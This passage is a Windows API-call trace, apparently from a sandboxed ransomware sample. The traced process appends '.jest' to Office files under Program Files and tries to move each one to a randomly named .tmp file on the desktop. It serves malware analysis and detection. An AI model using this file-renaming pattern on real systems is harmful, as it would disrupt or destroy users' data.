CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.jest")) returned 1 [0168.571] VarBstrFromR4 (in: fltIn=0x47945912, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.14") returned 0x0 [0168.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9khJ_2B3WN7WrLrATATK4t7j3e6YWgtsGidBE9jx 7CS2W3HSwcZyIz8D9Oj3WZEjuup8svzhX8wRU4p6Amkju_bNK_w-kvEVjxf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9khj_2b3wn7wrlratatk4t7j3e6ywgtsgidbe9jx 7cs2w3hswczyiz8d9oj3wzejuup8svzhx8wru4p6amkju_bnk_w-kvevjxf.tmp")) returned 0 [0168.572] GetLastError () returned 0x2 [0168.574] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.jest")) returned 1 [0168.577] VarBstrFromR4 (in: fltIn=0x47945912, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.14") returned 0x0 [0168.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\011MNcEy8MeDFdM0eI8pR-vWl PDSoke-CpM0zdvPLeuqx9wdrY9Iouyqry0KdYlKnxGU0C3wELm87DvshGSrrKMO4Ptd0o GjPC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\011mncey8medfdm0ei8pr-vwl pdsoke-cpm0zdvpleuqx9wdry9iouyqry0kdylknxgu0c3welm87dvshgsrrkmo4ptd0o gjpc.tmp")) returned 0 [0168.578] GetLastError () returned 0x2 [0168.578] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.jest")) returned 1 [0168.581] VarBstrFromR4 (in: fltIn=0x47945912, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.14") returned 0x0 [0168.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2vCutpxIB5 7Iyg1t03XTz5uSPphgMgM6RvjtguhT4VkzLh3b7dH8P9svYxwYPzGeC7uQ7Tp5vHk5TsrzXXoLxXij2DBVk1K-hbRx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2vcutpxib5 7iyg1t03xtz5uspphgmgm6rvjtguht4vkzlh3b7dh8p9svyxwypzgec7uq7tp5vhk5tsrzxxolxxij2dbvk1k-hbrx.tmp")) returned 0 [0168.583] GetLastError () returned 0x2 [0168.584] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.588] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.jest")) returned 1 [0168.606] VarBstrFromR4 (in: fltIn=0x47945916, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.17") returned 0x0 [0168.607] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AETOV9GnWxyzcGvQjruDGOoxcLk46x0WtvqxLUPACcizJpjHH9ZseceuZrQC 9RKLn7nPQ30eN-hhi_18urwK6- VtiAL_DguPeTg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aetov9gnwxyzcgvqjrudgooxclk46x0wtvqxlupaccizjpjhh9zseceuzrqc 9rkln7npq30en-hhi_18urwk6- vtial_dgupetg.tmp")) returned 0 [0168.607] GetLastError () returned 0x2 [0168.608] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css.jest")) returned 1 [0168.611] VarBstrFromR4 (in: fltIn=0x47945916, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.17") returned 0x0 [0168.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pQfQ4nL8PR9Zfo8QwQl7iAmbTlRFT4zdl14V Lc-i GWtqjgHu2Xd3HwFJRfA-UJ QALyWslQNxg5J01PNGDu1jtrGOxey1rY94.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pqfq4nl8pr9zfo8qwql7iambtlrft4zdl14v lc-i gwtqjghu2xd3hwfjrfa-uj qalywslqnxg5j01pngdu1jtrgoxey1ry94.tmp")) returned 0 [0168.612] GetLastError () returned 0x2 [0168.613] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css.jest")) returned 1 [0168.615] VarBstrFromR4 (in: fltIn=0x47945918, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.19") returned 0x0 [0168.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l4ik1Eq64icOMllR6J7IBDBUENZ_-zPWzEd5Rz hCQpgS_wbLw9emsjaj2Z11j35XdMesjN63fqyGuRORDhqAG665PDARNeZoar7P.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l4ik1eq64icomllr6j7ibdbuenz_-zpwzed5rz hcqpgs_wblw9emsjaj2z11j35xdmesjn63fqygurordhqag665pdarnezoar7p.tmp")) returned 0 [0168.616] GetLastError () returned 0x2 [0168.616] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.jest")) returned 1 [0168.618] VarBstrFromR4 (in: fltIn=0x47945918, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.19") returned 0x0 [0168.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ePJrpC6G8vo0Kyeuyw8mEJHfZVQSS2djfcdbUe2Gl4WdB4y0yhRLJL_7obFsTE9_XESd_OojDelsgZbXEN468w84XRQoR1y-ylK1m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epjrpc6g8vo0kyeuyw8mejhfzvqss2djfcdbue2gl4wdb4y0yhrljl_7obfste9_xesd_oojdelsgzbxen468w84xrqor1y-ylk1m.tmp")) returned 0 [0168.621] GetLastError () returned 0x2 [0168.621] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg.jest")) returned 1 [0168.625] VarBstrFromR4 (in: fltIn=0x47945918, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.19") returned 0x0 [0168.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4H0B57I14GULuwXo uB8LfMBCmnAuSIxw60sNDVjODG_WBsYk7m4-Cyyww6n1KI-3oe3Vg52psTAh0gw2dcvbqGUFItr4-1b2S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4h0b57i14guluwxo ub8lfmbcmnausixw60sndvjodg_wbsyk7m4-cyyww6n1ki-3oe3vg52pstah0gw2dcvbqgufitr4-1b2s.tmp")) returned 0 [0168.625] GetLastError () returned 0x2 [0168.626] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.jest")) returned 1 [0168.628] VarBstrFromR4 (in: fltIn=0x47945918, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.19") returned 0x0 [0168.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1jZ8805Q rgIHpt9whmgGVFLdN3HU3eq Zz-SFeUmZ96cnjXQXnKqh1cx80FEiWEixBXeGF3S8UyAtqeVFMIkfkha8ttNC-sE8ePL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1jz8805q rgihpt9whmggvfldn3hu3eq zz-sfeumz96cnjxqxnkqh1cx80feiweixbxegf3s8uyatqevfmikfkha8ttnc-se8epl.tmp")) returned 0 [0168.630] GetLastError () returned 0x2 [0168.630] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.jest")) returned 1 [0168.643] VarBstrFromR4 (in: fltIn=0x47945919, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.2") returned 0x0 [0168.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yk87vR xF_WhpX9XGJrYo0rpTor ER6Xb2PyzUmC_EsHFx4gGdXc5ZPyJu7xXS7SvhFO4mkNeHU 2fxjlIn9Q6XGwrAjIHfKf23J.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3yk87vr xf_whpx9xgjryo0rptor er6xb2pyzumc_eshfx4ggdxc5zpyju7xxs7svhfo4mknehu 2fxjlin9q6xgwrajihfkf23j.tmp")) returned 0 [0168.644] GetLastError () returned 0x2 [0168.645] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.jest")) returned 1 [0168.648] VarBstrFromR4 (in: fltIn=0x4794591c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.22") returned 0x0 [0168.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\01c4ItGaHl89PqiBjBjpKMvt_RWgZLOAJffA_3rQVlsbSdfICosUg0uvL7-q-7hWodRux8wk46DTJkhb_JGoX6RiXGK8qXrEhBnPH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\01c4itgahl89pqibjbjpkmvt_rwgzloajffa_3rqvlsbsdficosug0uvl7-q-7hwodrux8wk46dtjkhb_jgox6rixgk8qxrehbnph.tmp")) returned 0 [0168.649] GetLastError () returned 0x2 [0168.650] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.jest")) returned 1 [0168.653] VarBstrFromR4 (in: fltIn=0x4794591c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.22") returned 0x0 [0168.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P8k9doVHptiUhWd35NQldYkh0JnwbNNWqfv9jnFWDfNxbr7RYn4PBtoMag6NQbGzv82X 8wkiEL3e 3wHOCLjloIszr1s-MDIpsN7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8k9dovhptiuhwd35nqldykh0jnwbnnwqfv9jnfwdfnxbr7ryn4pbtomag6nqbgzv82x 8wkiel3e 3whocljloiszr1s-mdipsn7.tmp")) returned 0 [0168.654] GetLastError () returned 0x2 [0168.654] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.655] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.jest")) returned 1 [0168.656] VarBstrFromR4 (in: fltIn=0x4794591c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.22") returned 0x0 [0168.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E5prZ8I-zA80Lqb3r3UvVL0tcPBJGFcwkg_P3B6tpWMb78DGw80O F04SyU_NL Cwue j6dcyNiYr7XJ7Pg60_92J4j7v0A3pGI3h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e5prz8i-za80lqb3r3uvvl0tcpbjgfcwkg_p3b6tpwmb78dgw80o f04syu_nl cwue j6dcyniyr7xj7pg60_92j4j7v0a3pgi3h.tmp")) returned 0 [0168.657] GetLastError () returned 0x2 [0168.658] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.jest")) returned 1 [0168.660] VarBstrFromR4 (in: fltIn=0x4794591c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.22") returned 0x0 [0168.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFz2Wz8cR7DB7 Bfoa6uxn-JeBATlXxv7h1EBNUpZ yzu3_jXM3Qn_KCNKnwbW1lN4-VMLV0B2b4dSLboLCnB7ZtAlURPVxLzgG_U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zfz2wz8cr7db7 bfoa6uxn-jebatlxxv7h1ebnupz yzu3_jxm3qn_kcnknwbw1ln4-vmlv0b2b4dslbolcnb7ztalurpvxlzgg_u.tmp")) returned 0 [0168.662] GetLastError () returned 0x2 [0168.662] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.jest")) returned 1 [0168.664] VarBstrFromR4 (in: fltIn=0x4794591e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.23") returned 0x0 [0168.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5 